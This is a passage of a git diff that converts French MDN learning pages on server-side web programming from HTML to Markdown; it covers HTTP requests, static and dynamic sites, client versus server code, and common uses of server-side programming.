cliquez sur un lien dans une page web, envoyez un formulaire, ou encore lancez une recherche, une **requête HTTP** est envoyée du navigateur au serveur cible. -<h3 id="Sites_dynamiques">Sites dynamiques</h3> +Une requête inclut _une URL_ pour identifier la ressource demandée, _une méthode_ pour définir l'action désirée (comme GET pour obtenir, DELETE pour supprimer ou POST pour publier) et peut également inclure des informations supplémentaires encodées dans _les paramètres_ de l'URL (des paires clés/valeurs envoyées via une chaîne de recherche — [query string](https://en.wikipedia.org/wiki/Query_string) en anglais), les données POST (données envoyées par la [méthode HTTP POST](/fr/docs/Web/HTTP/M%C3%A9thode/POST)), ou les {{glossary("Cookie", "cookies associés")}}. -<p>Un site web dynamique, quant à lui, est un site dont une partie des réponses sont générées <em>dynamiquement</em>, à la demande. Sur les sites dynamiques, les pages HTML sont normalement crées en insérant des données d'une base de données dans des espaces réservés à l'intérieur de templates HTML (c'est une manière beaucoup plus efficace que des fichiers statiques pour stocker de grandes quantités de contenu). </p> +Les serveurs web attendent des requêtes du client, les traitent quand elles arrivent, et répondent au navigateur web avec une **réponse HTTP**. La réponse contient _un statut_ qui indique si la requête a pu être traitée avec succès ou non (exemple "HTTP/1.1 200 OK" pour indiquer le succès). -<p>Un site dynamique peut retourner des données différentes pour une URL, en se basant sur les informations fournies par l'utilisateur ou les préférences stockées et peut effectuer des opérations avant de retourner la réponse.</p> +Le corps de la réponse, si la requête réussit, contient alors la ressource demandée (comme une page HTML, une image, etc...), que le navigateur web peut alors afficher. -<p>La plupart du code pour maintenir un site web dynamique doit s'exécuter sur le serveur. La création de ce code est ce qu'on appelle la "<strong>programmation côté serveur</strong>" (ou parfois "<strong>codage back-end</strong>").</p> +### Sites statiques -<p>Le diagramme ci-dessous montre une architecture simple pour un <em>site web dynamique</em>. Comme dans le diagramme précédent, les navigateurs envoient des requêtes HTTP au serveur, qui les traite et retourne les réponses HTTP appropriées.</p> +Le diagramme ci-dessous montre l'architecture d'un serveur web basique pour un _site statique_ (un site statique est un site qui renvoie du contenu codé en dur, c'est à dire le contenu d'un fichier, quand une ressource donnée est demandée). Quand un utilisateur veut naviguer sur une page, le navigateur envoie une requête HTTP "GET" spécifiant son URL. -<p>Les requêtes pour les ressources <em>statiques</em> sont toujours gérées de la même manière que pour les sites statiques (les ressources statiques sont tous les fichiers qui ne changent pas —typiquement : CSS, JavaScript, Images, fichiers PDF etc).</p> +Le serveur récupère le document demandé du système de fichiers et retourne une réponse HTTP contenant le document et le [statut de la réponse](/fr/docs/Web/HTTP/Status#R%C3%A9ponses_de_succ%C3%A8s) (habituellement, 200 OK). Si le fichier ne peut pas être recupéré pour une raison x ou y, le statut d'erreur est retourné (voir [réponses d'erreur client](/fr/docs/Web/HTTP/Status#R%C3%A9ponses_d'erreur_c%C3%B4t%C3%A9_client) et [réponse d'erreur serveur](/fr/docs/Web/HTTP/Status#R%C3%A9ponses_d'erreur_c%C3%B4t%C3%A9_serveur)). -<p><img alt="A simplified diagram of a web server that uses server-side programming to get information from a database and construct HTML from templates. This is the same diagram as is in the Client-Server overview." src="Web%20Application%20with%20HTML%20and%20Steps.png"></p> + -<p>Les requêtes pour les ressources <em>dynamiques</em>, elles, sont transmises (2) au code côté serveur (indiqué dans le diagramme comme <em>Web Application</em>). Le serveur interprète la requête, lit les informations correspondantes dans la base de données (3), combine les données récupérées avec les templates HTML (4), et renvoie la réponse avec le HTML généré (5,6). </p> +### Sites dynamiques -<div> -<h2 id="La_programmation_côté_serveur_cest_pareil_que_côté_client">La programmation côté serveur c'est pareil que côté client?</h2> -</div> +Un site web dynamique, quant à lui, est un site dont une partie des réponses sont générées _dynamiquement_, à la demande. Sur les sites dynamiques, les pages HTML sont normalement crées en insérant des données d'une base de données dans des espaces réservés à l'intérieur de templates HTML (c'est une manière beaucoup plus efficace que des fichiers statiques pour stocker de grandes quantités de contenu). -<p>Voyons maintenant le code impliqué dans la programmation côté serveur et côté client. Dans chaque cas, le code est significativement différent :</p> +Un site dynamique peut retourner des données différentes pour une URL, en se basant sur les informations fournies par l'utilisateur ou les préférences stockées et peut effectuer des opérations avant de retourner la réponse. -<ul> - <li>Ils ont des objectifs et des préoccupations différents.</li> - <li>Ils n'utilisent généralement pas les mêmes langages de programmation (exception faite de JavaScript, qui peut être utilisé côté serveur et côté client).</li> - <li>Ils s'exécutent dans des environnements différents du système d'exploitation.</li> -</ul> +La plupart du code pour maintenir un site web dynamique doit s'exécuter sur le serveur. La création de ce code est ce qu'on appelle la "**programmation côté serveur**" (ou parfois "**codage back-end**"). -<p>Le code exécuté par le navigateur est connu sous le nom de <strong>code côté client</strong> (ou <strong>front-end</strong>) et se préoccupe principalement de l'apparence et du comportement des pages web affichées. Cela inclut sélectionner et styliser les composants de l'interface utilisateur, créer la mise en page, la navigation, valider les formulaires, etc. D'un autre côté, la programmation côté serveur implique de définir le contenu retourné au navigateur en réponse aux requêtes. Le code côté serveur gère des tâches telles que la validation des données envoyées, l'utilisation des bases de données pour stocker et récupérer des données et l'envoi de données générées au client tel qu'attendu.</p> +Le diagramme ci-dessous montre une architecture simple pour un _site web dynamique_. Comme dans le diagramme précédent, les navigateurs envoient des requêtes HTTP au serveur, qui les traite et retourne les réponses HTTP appropriées. -<p>Le code client est écrit en <a href="/fr/Apprendre/HTML">HTML</a>, <a href="/fr/Apprendre/CSS">CSS</a>, et <a href="/fr/Apprendre/JavaScript">JavaScript</a> — il est exécuté dans un navigateur web et a peu ou pas accès au système d'exploitation de l'utilisateur (inclut un accès limité au système de fichiers).</p> +Les requêtes pour les ressources _statiques_ sont toujours gérées de la même manière que pour les sites statiques (les ressources statiques sont tous les fichiers qui ne changent pas —typiquement : CSS, JavaScript, Images, fichiers PDF etc). -<p>Les développeurs web ne peuvent pas contrôler quel navigateur est utilisé par l'utilisateur pour voir le site web — or les navigateurs fournissent des niveaux de compatibilité inconsistants quant aux fonctionnalités du code côté client, et une partie du challenge de la programmation côté client consiste à gérer les différences de support des navigateurs.</p> + -<p>Le code côté serveur peut être écrit dans nombre de langages de programmation — les langages les plus populaires pour la programmation web côté serveur sont en autres PHP, Python, Ruby, C#, et NodeJS(JavaScript). Le code côté serveur a plein accès au système d'exploitation du serveur et le développeur est libre de choisir le langage (et la version) qu'il veut utiliser.</p> +Les requêtes pour les ressources _dynamiques_, elles, sont transmises (2) au code côté serveur (indiqué dans le diagramme comme _Web Application_). Le serveur interprète la requête, lit les informations correspondantes dans la base de données (3), combine les données récupérées avec les templates HTML (4), et renvoie la réponse avec le HTML généré (5,6). -<p>Typiquement, les développeurs écrivent leur code en utilisant des <strong>frameworks web</strong>. Les frameworks web sont des ensembles de fonctions, objets, règles et autres constructions de code conçus pour résoudre des problèmes courants, accélérer le développement et simplifier les différents types de tâches rencontrées dans un domaine particulier.</p> +## La programmation côté serveur c'est pareil que côté client? -<p>Encore une fois, bien que le code côté client et côté serveur utilisent des frameworks, les domaines d'application sont très différents et par conséquent les frameworks aussi. Les frameworks web côté client simplifient les tâches de mise en page et de présentation tandis que les frameworks web côté serveur fournissent des fonctionnalités "courantes" que vous auriez probablement à implémenter vous-même autrement (comme le support des sessions, des utilisateurs et de l'authentification, l'accès à la base de données, les bibliothèques de templates, etc.).</p> +Voyons maintenant le code impliqué dans la programmation côté serveur et côté client. Dans chaque cas, le code est significativement différent : -<div class="note"> -<p><strong>Note :</strong> Les frameworks côté client sont souvent utilisés pour accélérer le développement du code côté client, mais vous pouvez également choisir d'écrire tout le code à la main ; en vérité, écrire votre code à la main peut être plus rapide et plus efficace si vous n'avez besoin que d'une petite interface web très simple.</p> +- Ils ont des objectifs et des préoccupations différents. +- Ils n'utilisent généralement pas les mêmes langages de programmation (exception faite de JavaScript, qui peut être utilisé côté serveur et côté client). +- Ils s'exécutent dans des environnements différents du système d'exploitation. -<p>En revanche, vous ne penseriez presque jamais à écrire les composants côté serveur d'une application web sans framework — implémenter des fonctionnalités vitales comme un serveur HTTP est très difficile à faire à partir de rien, comme disons en Python, alors que les frameworks web Python comme Django le fournissent tout prêt à l'emploi, accompagné d'autres outils très utiles.</p> -</div> +Le code exécuté par le navigateur est connu sous le nom de **code côté client** (ou **front-end**) et se préoccupe principalement de l'apparence et du comportement des pages web affichées. Cela inclut sélectionner et styliser les composants de l'interface utilisateur, créer la mise en page, la navigation, valider les formulaires, etc. D'un autre côté, la programmation côté serveur implique de définir le contenu retourné au navigateur en réponse aux requêtes. Le code côté serveur gère des tâches telles que la validation des données envoyées, l'utilisation des bases de données pour stocker et récupérer des données et l'envoi de données générées au client tel qu'attendu. -<div> -<h2 id="Que_peut-on_faire_côté_serveur">Que peut-on faire côté serveur?</h2> +Le code client est écrit en [HTML](/fr/Apprendre/HTML), [CSS](/fr/Apprendre/CSS), et [JavaScript](/fr/Apprendre/JavaScript) — il est exécuté dans un navigateur web et a peu ou pas accès au système d'exploitation de l'utilisateur (inclut un accès limité au système de fichiers). -<p>La programmation côté serveur est très utile parce qu'elle nous permet de délivrer efficacement de l'information taillée sur mesure pour l'utilisateur et ainsi créer une bien meilleure expérience utilisateur.</p> -</div> +Les développeurs web ne peuvent pas contrôler quel navigateur est utilisé par l'utilisateur pour voir le site web — or les navigateurs fournissent des niveaux de compatibilité inconsistants quant aux fonctionnalités du code côté client, et une partie du challenge de la programmation côté client consiste à gérer les différences de support des navigateurs. -<p>Des compagnies comme Amazon utilisent la programmation côté serveur pour construire la recherche de produits, faire des suggestions de produit ciblées sur les préférences du client et ses habitudes d'achat, simplifier les achats, etc.</p> +Le code côté serveur peut être écrit dans nombre de langages de programmation — les langages les plus populaires pour la programmation web côté serveur sont en autres PHP, Python, Ruby, C#, et NodeJS(JavaScript). Le code côté serveur a plein accès au système d'exploitation du serveur et le développeur est libre de choisir le langage (et la version) qu'il veut utiliser. -<p>Les banques l'utilisent pour stocker les informations du compte ainsi que faire des transactions et n'autoriser à les consulter que les utilisateurs reconnus. D'autres services comme Facebook, Twitter, Instagram, et Wikipedia utilisent la programmation côté serveur pour mettre en avant, partager et contrôler l'accès au contenu.</p> +Typiquement, les développeurs écrivent leur code en utilisant des **frameworks web**. Les frameworks web sont des ensembles de fonctions, objets, règles et autres constructions de code conçus pour résoudre des problèmes courants, accélérer le développement et simplifier les différents types de tâches rencontrées dans un domaine particulier. -<p>Les utilisations les plus courantes et les plus bénéfiques de la programmation côté serveur sont listées ci-dessous. Vous verrez qu'il y a quelques recoupements :</p> +Encore une fois, bien que le code côté client et côté serveur utilisent des frameworks, les domaines d'application sont très différents et par conséquent les frameworks aussi. Les frameworks web côté client simplifient les tâches de mise en page et de présentation tandis que les frameworks web côté serveur fournissent des fonctionnalités "courantes" que vous auriez probablement à implémenter vous-même autrement (comme le support des sessions, des utilisateurs et de l'authentification, l'accès à la base de données, les bibliothèques de templates, etc.). -<h3 id="Stockage_et_distribution_de_linformation_plus_efficaces">Stockage et distribution de l'information plus efficaces</h3> +> **Note :** Les frameworks côté client sont souvent utilisés pour accélérer le développement du code côté client, mais vous pouvez également choisir d'écrire tout le code à la main ; en vérité, écrire votre code à la main peut être plus rapide et plus efficace si vous n'avez besoin que d'une petite interface web très simple. +> +> En revanche, vous ne penseriez presque jamais à écrire les composants côté serveur d'une application web sans framework — implémenter des fonctionnalités vitales comme un serveur HTTP est très difficile à faire à partir de rien, comme disons en Python, alors que les frameworks web Python comme Django le fournissent tout prêt à l'emploi, accompagné d'autres outils très utiles. -<p>Imaginez combien de produits sont disponibles sur Amazon et combien de posts ont été écrits sur Facebook. Créer une page statique distincte pour chaque produit ou article serait totalement impossible.</p> +## Que peut-on faire côté serveur? -<p>La programmation côté serveur nous permet plutôt de stocker l'information dans une base de données et de construire et retourner dynamiquement le HTML ainsi que d'autres types de fichiers (comme les PDF, images, etc.). Il est également possible de simplement retourner des données ({{glossary("JSON")}}, {{glossary("XML")}}, etc.) pour les afficher avec des frameworks côté client (cela réduit la charge de travail du serveur et la quantité de données qui doit être retournée).</p> +La programmation côté serveur est très utile parce qu'elle nous permet de délivrer efficacement de l'information taillée sur mesure pour l'utilisateur et ainsi créer une bien meilleure expérience utilisateur. -<p>Le serveur ne se limite pas à l'envoi d'informations à partir de bases de données, il peut retourner le résultat d'autres outils logiciels, ou les données de services de communication. Le contenu peut même être ciblé pour le type d'appareil client qui le reçoit.</p> +Des compagnies comme Amazon utilisent la programmation côté serveur pour construire la recherche de produits, faire des suggestions de produit ciblées sur les préférences du client et ses habitudes d'achat, simplifier les achats, etc. -<p>Comme les informations se trouvent dans une base de données, elles peuvent également être partagées et mises à jour plus facilement avec d'autres systèmes (par exemple, quand des produits sont vendus en ligne ou dans un magasin, le magasin peut mettre à jour son inventaire).</p> +Les banques l'utilisent pour stocker les informations du compte ainsi que faire des transactions et n'autoriser à les consulter que les utilisateurs reconnus. D'autres services comme Facebook, Twitter, Instagram, et Wikipedia utilisent la programmation côté serveur pour mettre en avant, partager et contrôler l'accès au contenu. -<div class="note"> -<p><strong>Note :</strong> Votre imagination n'a pas à travailler dur pour voir les bénéfices du code côté serveur pour le stockage et distribution de l'information:</p> +Les utilisations les plus courantes et les plus bénéfiques de la programmation côté serveur sont listées ci-dessous. Vous verrez qu'il y a quelques recoupements : -<ol> - <li>Allez sur <a href="https://www.amazon.com">Amazon</a> ou tout autre site e-commerce.</li> - <li>Cherchez un certain nombre de mot-clés et remarquez que la structure de la page de change pas, même si les résultats oui. </li> - <li>Ouvrez deux ou trois produits. Remarquez que la structure et la disposition de la page sont identiques, mais que le contenu pour les différents produits a été extrait de la base de données.</li> -</ol> +### Stockage et distribution de l'information plus efficaces -<p>Pour un terme de recherche courant ("poisson", disons) vous pouvez voir littéralement des millions de valeurs retournées. Utiliser une base de données permet à ces données d'être stockées et partagées efficacement, et permet de contrôler la présentation de l'information à partir d'un seul endroit.</p> -</div> +Imaginez combien de produits sont disponibles sur Amazon et combien de posts ont été écrits sur Facebook. Créer une page statique distincte pour chaque produit ou article serait totalement impossible. -<h3 id="Expérience_utilisateur_personnalisée">Expérience utilisateur personnalisée</h3> +La programmation côté serveur nous permet plutôt de stocker l'information dans une base de données et de construire et retourner dynamiquement le HTML ainsi que d'autres types de fichiers (comme les PDF, images, etc.). Il est également possible de simplement retourner des données ({{glossary("JSON")}}, {{glossary("XML")}}, etc.) pour les afficher avec des frameworks côté client (cela réduit la charge de travail du serveur et la quantité de données qui doit être retournée). -<p>Les serveurs peuvent stocker et utiliser des informations sur les clients pour fournir une expérience utilisateur personnalisée. Par exemple, beaucoup de sites proposent d'enregistrer une carte de crédit pour que les détails n'aient pas à être saisis de nouveau. Des sites comme Google Maps peuvent utiliser les emplacement enregistrés ou l'emplacement en cours pour fournir des informations d'itinéraire et chercher ou utiliser l'historique des voyages précédents pour trouver des boutiques locales dans les résultats de recherche.</p> +Le serveur ne se limite pas à l'envoi d'informations à partir de bases de données, il peut retourner le résultat d'autres outils logiciels, ou les données de services de communication. Le contenu peut même être ciblé pour le type d'appareil client qui le reçoit. -<p>Une analyse plus approfondie des habitudes des utilisateurs peut être utilisée pour anticiper leurs intérêts et personnaliser les réponses ou les notifications du serveur, par exemple pour fournir une liste des lieux précédemment visités ou les plus populaires que vous pourriez vouloir chercher sur la carte.</p> +Comme les informations se trouvent dans une base de données, elles peuvent également être partagées et mises à jour plus facilement avec d'autres systèmes (par exemple, quand des produits sont vendus en ligne ou dans un magasin, le magasin peut mettre à jour son inventaire). -<div class="note"> -<p><strong>Note :</strong> <a href="https://maps.google.com/">Google Maps</a> sauvegarde vos recherches et votre historique de visites. Les emplacement fréquemment visités ou fréquemment recherchés sont plus mis en avant que les autres.</p> +> **Note :** Votre imagination n'a pas à travailler dur pour voir les bénéfices du code côté serveur pour le stockage et distribution de l'information: +> +> 1. Allez sur [Amazon](https://www.amazon.com) ou tout autre site e-commerce. +> 2. Cherchez un certain nombre de mot-clés et remarquez que la structure de la page de change pas, même si les résultats oui. +> 3. Ouvrez deux ou trois produits. Remarquez que la structure et la disposition de la page sont identiques, mais que le contenu pour les différents produits a été extrait de la base de données. +> +> Pour un terme de recherche courant ("poisson", disons) vous pouvez voir littéralement des millions de valeurs retournées. Utiliser une base de données permet à ces données d'être stockées et partagées efficacement, et permet de contrôler la présentation de l'information à partir d'un seul endroit. -<p>Les résultats de recherche Google sont optimisés en fonction des recherches précédentes.</p> +### Expérience utilisateur personnalisée -<ol> - <li> Allez sur <a href="https:\\google.com">Google</a>.</li> - <li> Recherchez "football".</li> - <li> Maintenant tapez "favoris" dans la barre de recherche et regardez les prédictions de recherche de l'autocomplete.</li> -</ol> +Les serveurs peuvent stocker et utiliser des informations sur les clients pour fournir une expérience utilisateur personnalisée. Par exemple, beaucoup de sites proposent d'enregistrer une carte de crédit pour que les détails n'aient pas à être saisis de nouveau. Des sites comme Google Maps peuvent utiliser les emplacement enregistrés ou l'emplacement en cours pour fournir des informations d'itinéraire et chercher ou utiliser l'historique des voyages précédents pour trouver des boutiques locales dans les résultats de recherche. -<p>Coïncidence ? Nada!</p> -</div> +Une analyse plus approfondie des habitudes des utilisateurs peut être utilisée pour anticiper leurs intérêts et personnaliser les réponses ou les notifications du serveur, par exemple pour fournir une liste des lieux précédemment visités ou les plus populaires que vous pourriez vouloir chercher sur la carte. -<h3 id="Accès_contrôlé_au_contenu">Accès contrôlé au contenu</h3> +> **Note :** [Google Maps](https://maps.google.com/) sauvegarde vos recherches et votre historique de visites. Les emplacement fréquemment visités ou fréquemment recherchés sont plus mis en avant que les autres. +> +> Les résultats de recherche Google sont optimisés en fonction des recherches précédentes. +> +> 1. Allez sur [Google](https:\\google.com). +> 2. Recherchez "football". +> 3. Maintenant tapez "favoris" dans la barre de recherche et regardez les prédictions de recherche de l'autocomplete. +> +> Coïncidence ? Nada! -<p>La programmation côté serveur permet aux sites de restreindre l'accès aux utilisateurs autorisés et de ne servir que les informations qu'un utilisateur à la permission de voir.</p> +### Accès contrôlé au contenu -<p>Quelques exemples du monde réel incluent :</p> +La programmation côté serveur permet aux sites de restreindre l'accès aux utilisateurs autorisés et de ne servir que les informations qu'un utilisateur à la permission de voir. -<ul> - <li>Les réseaux sociaux comme Facebook permettent aux utilisateurs de contrôler entièrement leurs propres données, mais permettent seulement à leurs amis de les voir ou des les commenter. L'utilisateur détermine qui peut voir ses données, et par extension, dans le flux de qui elles apparaissent — l'autorisation est une partie centrale de l'expérience utilisateur !</li> - <li> - <p>Le site sur lequel vous êtes en ce moment même contrôle l'accès au contenu : les articles sont visibles à tout le monde, mais seuls les utilisateurs identifiés peuvent éditer le contenu. Essayez de cliquer sur le bouton <strong>Modifier</strong> en haut de cette page — si vous êtes identifié, vous verrez la vue d'édition ; sinon, vous serez redirigé vers la page d'inscription.</p> - </li> -</ul> +Quelques exemples du monde réel incluent : -<div class="note"> -<p><strong>Note :</strong> Il existe de nombreux autres exemples où l'accès au contenu est contrôlé. Par exemple, que voyez-vous si vous allez sur le site en ligne de votre banque ? Connectez-vous à votre compte — quelles autres informations pouvez-vous voir et modifier ? Quelles informations pouvez-vous voir que seule la banque peut changer ?</p> -</div> +- Les réseaux sociaux comme Facebook permettent aux utilisateurs de contrôler entièrement leurs propres données, mais permettent seulement à leurs amis de les voir ou des les commenter. L'utilisateur détermine qui peut voir ses données, et par extension, dans le flux de qui elles apparaissent — l'autorisation est une partie centrale de l'expérience utilisateur ! +- Le site sur lequel vous êtes en ce moment même contrôle l'accès au contenu : les articles sont visibles à tout le monde, mais seuls les utilisateurs identifiés peuvent éditer le contenu. Essayez de cliquer sur le bouton **Modifier** en haut de cette page — si vous êtes identifié, vous verrez la vue d'édition ; sinon, vous serez redirigé vers la page d'inscription. -<h3 id="Stocker_les_informations_de_sessiondétat">Stocker les informations de session/d'état</h3> +> **Note :** Il existe de nombreux autres exemples où l'accès au contenu est contrôlé. Par exemple, que voyez-vous si vous allez sur le site en ligne de votre banque ? Connectez-vous à votre compte — quelles autres informations pouvez-vous voir et modifier ? Quelles informations pouvez-vous voir que seule la banque peut changer ? -<p>La programmation côté serveur permet aux développeurs d'utiliser des <strong>sessions</strong> — en gros, un mécanisme qui permet au serveur de stocker des informations sur l'utilisation en cours d'un site et d'envoyer des réponses différentes selon cette information.</p> +### Stocker les informations de session/d'état -<p>Cela permet, par exemple, à un site de savoir qu'un utilisateur s'est déjà identifié et afficher des messages qui lui sont destinés, d'afficher son historique de commande, ou peut-être encore, dans le cas d'un jeu, lui permettre de reprendre là où il en est resté.</p> +La programmation côté serveur permet aux développeurs d'utiliser des **sessions** — en gros, un mécanisme qui permet au serveur de stocker des informations sur l'utilisation en cours d'un site et d'envoyer des réponses différentes selon cette information. -<div class="note"> -<p><strong>Note :</strong> Visitez le site d'un journal qui a une offre d'abonnement et ouvrez des pages (par exemple <a href="http://www.theage.com.au/">The Age</a>). Si vous continuez à visiter le site quelques heures/jours, éventuellement, vous commencerez à être redirigé vers des pages expliquant comment vous abonner, et vous ne pourrez plus accéder aux articles. Cette information est un exemple de session stockée dans des cookies.</p> -</div> +Cela permet, par exemple, à un site de savoir qu'un utilisateur s'est déjà identifié et afficher des messages qui lui sont destinés, d'afficher son historique de commande, ou peut-être encore, dans le cas d'un jeu, lui permettre de reprendre là où il en est resté. -<h3 id="Notifications_et_communication">Notifications et communication</h3> +> **Note :** Visitez le site d'un journal qui a une offre d'abonnement et ouvrez des pages (par exemple [The Age](http://www.theage.com.au/)). Si vous continuez à visiter le site quelques heures/jours, éventuellement, vous commencerez à être redirigé vers des pages expliquant comment vous abonner, et vous ne pourrez plus accéder aux articles. Cette information est un exemple de session stockée dans des cookies. -<p>Les serveurs peuvent envoyer des notifications générales ou personnalisées à l'utilisateur via le site web lui-même ou par email, SMS, messagerie instantannée, conversations vidéo ou autres services de communication.</p> +### Notifications et communication -<p>Quelques exemples incluent :</p> +Les serveurs peuvent envoyer des notifications générales ou personnalisées à l'utilisateur via le site web lui-même ou par email, SMS, messagerie instantannée, conversations vidéo ou autres services de communication. -<ul> - <li>Facebook et Twitter envoient des emails et SMS pour notifier des nouvelles communications.</li> - <li>Amazon envoie régulièrement des emails qui suggèrent des produits similaires à ceux que vous avez déjà acheté ou vu, par lesquels vous pourriez être intéressé.</li> - <li>Un serveur web peut envoyer des messages d'alerte aux administrateurs du site pour les prévenir en cas de mémoire insuffisante sur le serveur ou d'activité suspecte de l'utilisateur.</li> -</ul> +Quelques exemples incluent : -<div class="note"> -<p><strong>Note :</strong> Le type de notification le plus courant est la "confirmation d'inscription". Choisissez presque n'importe quel site qui vous intéresse (Google, Amazon, Instagram, etc.) et créez un nouveau compte en utilisant votre adresse email. Vous recevrez rapidement un email qui confirme votre inscription, ou qui exige une confirmation pour activer votre compte.</p> -</div> +- Facebook et Twitter envoient des emails et SMS pour notifier des nouvelles communications. +- Amazon envoie régulièrement des emails qui suggèrent des produits similaires à ceux que vous avez déjà acheté ou vu, par lesquels vous pourriez être intéressé. +- Un serveur web peut envoyer des messages d'alerte aux administrateurs du site pour les prévenir en cas de mémoire insuffisante sur le serveur ou d'activité suspecte de l'utilisateur. -<h3 id="Analyse_des_données">Analyse des données</h3> +> **Note :** Le type de notification le plus courant est la "confirmation d'inscription". Choisissez presque n'importe quel site qui vous intéresse (Google, Amazon, Instagram, etc.) et créez un nouveau compte en utilisant votre adresse email. Vous recevrez rapidement un email qui confirme votre inscription, ou qui exige une confirmation pour activer votre compte. -<p>Un site web peut collecter beaucoup de données sur les utilisateurs : ce qu'ils cherchent, ce qu'ils achètent, ce qu'ils recommandent, combien de temps ils restent sur chaque page. La programmation côté serveur peut être utilisée pour affiner les réponses en fonction de l'analyse de ces données.</p> +### Analyse des données -<p>Par exemple, Amazon et Google font tous deux de la publicité pour des produits en se basant sur les recherches précédentes, sur les achats que vous avez faits.</p> +Un site web peut collecter beaucoup de données sur les utilisateurs : ce qu'ils cherchent, ce qu'ils achètent, ce qu'ils recommandent, combien de temps ils restent sur chaque page. La programmation côté serveur peut être utilisée pour affiner les réponses en fonction de l'analyse de ces données. -<div class="note"> -<p><strong>Note :</strong> Si vous êtes un utilisateur de Facebook, allez sur votre flux principal et regardez les posts. Notez que certains posts ne sont pas classés par ordre numérique — en particulier, les posts qui ont le plus de "likes" sont souvent placés plus haut dans la liste que les posts plus récents.</p> +Par exemple, Amazon et Google font tous deux de la publicité pour des produits en se basant sur les recherches précédentes, sur les achats que vous avez faits. -<p>Observez également quels types de publicités vous voyez — vous pourrez voir des publicités pour des choses que vous avez regardé sur d'autres sites. L'algorithme de Facebook pour mettre en avant du contenu et faire de la publicité est un peu un mystérieux, mais il est clair qu'il prend en compte vos likes et ce que vous avez l'habitude de regarder !</p> -</div> +> **Note :** Si vous êtes un utilisateur de Facebook, allez sur votre flux principal et regardez les posts. Notez que certains posts ne sont pas classés par ordre numérique — en particulier, les posts qui ont le plus de "likes" sont souvent placés plus haut dans la liste que les posts plus récents. +> +> Observez également quels types de publicités vous voyez — vous pourrez voir des publicités pour des choses que vous avez regardé sur d'autres sites. L'algorithme de Facebook pour mettre en avant du contenu et faire de la publicité est un peu un mystérieux, mais il est clair qu'il prend en compte vos likes et ce que vous avez l'habitude de regarder ! -<h2 id="Sommaire">Sommaire</h2> +## Sommaire -<p>Félicitations, vous avez atteint la fin du premier article sur la programmation côté serveur. </p> +Félicitations, vous avez atteint la fin du premier article sur la programmation côté serveur. -<p>Vous avez maintenant appris que le code côté serveur est exécuté sur un serveur web et que son rôle principal est de contrôler <em>quelle</em> information est envoyée à l'utilisateur (tandis que le code côté client gère principalement la structure et la présentation des données pour l'utilisateur).</p> +Vous avez maintenant appris que le code côté serveur est exécuté sur un serveur web et que son rôle principal est de contrôler _quelle_ information est envoyée à l'utilisateur (tandis que le code côté client gère principalement la structure et la présentation des données pour l'utilisateur). -<p>Vous devez également comprendre que c'est utile pour créer des sites web qui délivrent de l'information <em>efficacement</em>, adaptée à chaque utilisateur et avoir une bonne idée de quelques choses que vous seriez capable de faire quand vous serez programmeur back-end.</p> +Vous devez également comprendre que c'est utile pour créer des sites web qui délivrent de l'information _efficacement_, adaptée à chaque utilisateur et avoir une bonne idée de quelques choses que vous seriez capable de faire quand vous serez programmeur back-end. -<p>Finalement, vous devez comprendre que le code côté serveur peut être écrit dans de nombreux langages de programmation et que l'on peut utiliser des frameworks web pour rendre ce processus plus facile.</p> +Finalement, vous devez comprendre que le code côté serveur peut être écrit dans de nombreux langages de programmation et que l'on peut utiliser des frameworks web pour rendre ce processus plus facile. -<p>Dans un futur article, nous vous aiderons à choisir le framework le plus adapté pour la création d'un premier site. Ensuite, nous vous présenterons les principales interactions client-serveur plus en détails.</p> +Dans un futur article, nous vous aiderons à choisir le framework le plus adapté pour la création d'un premier site. Ensuite, nous vous présenterons les principales interactions client-serveur plus en détails. -<p>{{NextMenu("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps")}}</p> +{{NextMenu("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps")}} -<h2 id="Dans_ce_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/docs/Learn/Server-side/First_steps/Introduction">Introduction au côté serveur</a></li> - <li><a href="/fr/docs/Learn/Server-side/First_steps/Client-Server_overview">Vue d'ensemble Client-Serveur</a></li> - <li><a href="/fr/docs/Learn/Server-side/First_steps/Web_frameworks">Frameworks web côté serveur</a></li> - <li><a href="/fr/docs/Learn/Server-side/First_steps/Website_security">La sécurité d'un site web</a></li> -</ul> +- [Introduction au côté serveur](/fr/docs/Learn/Server-side/First_steps/Introduction) +- [Vue d'ensemble Client-Serveur](/fr/docs/Learn/Server-side/First_steps/Client-Server_overview) +- [Frameworks web côté serveur](/fr/docs/Learn/Server-side/First_steps/Web_frameworks) +- [La sécurité d'un site web](/fr/docs/Learn/Server-side/First_steps/Website_security) diff --git a/files/fr/learn/server-side/first_steps/web_frameworks/index.md b/files/fr/learn/server-side/first_steps/web_frameworks/index.md index ca3f14e2ff..513602e1cb 100644 --- a/files/fr/learn/server-side/first_steps/web_frameworks/index.md +++ b/files/fr/learn/server-side/first_steps/web_frameworks/index.md @@ -9,44 +9,47 @@ tags: translation_of: Learn/Server-side/First_steps/Web_frameworks original_slug: Learn/Server-side/Premiers_pas/Web_frameworks --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps/Website_security", "Learn/Server-side/First_steps")}} -<div>{{PreviousMenuNext("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps/Website_security", "Learn/Server-side/First_steps")}}</div> - -<p>L'article précédent nous a montré à quoi ressemble la communication entre les clients et les serveurs web, la nature des demandes et des réponses HTTP et ce qu’une application web côté serveur doit faire pour répondre aux demandes d’un navigateur web. Avec ces connaissances en main, il est temps d'explorer comment les frameworks peuvent nous simplifier la tâche. En chemin, vous comprendrez comment choisir le framework le mieux adapté pour votre première application web côté serveur.</p> +L'article précédent nous a montré à quoi ressemble la communication entre les clients et les serveurs web, la nature des demandes et des réponses HTTP et ce qu’une application web côté serveur doit faire pour répondre aux demandes d’un navigateur web. Avec ces connaissances en main, il est temps d'explorer comment les frameworks peuvent nous simplifier la tâche. En chemin, vous comprendrez comment choisir le framework le mieux adapté pour votre première application web côté serveur. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Connaissance informatique de base.</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Comprendre comment les frameworks simplifient le développement/la maintenance du code côté serveur et vous faire réfléchir à propos de la sélection d'un framework pour votre propre développement.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td>Connaissance informatique de base.</td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + 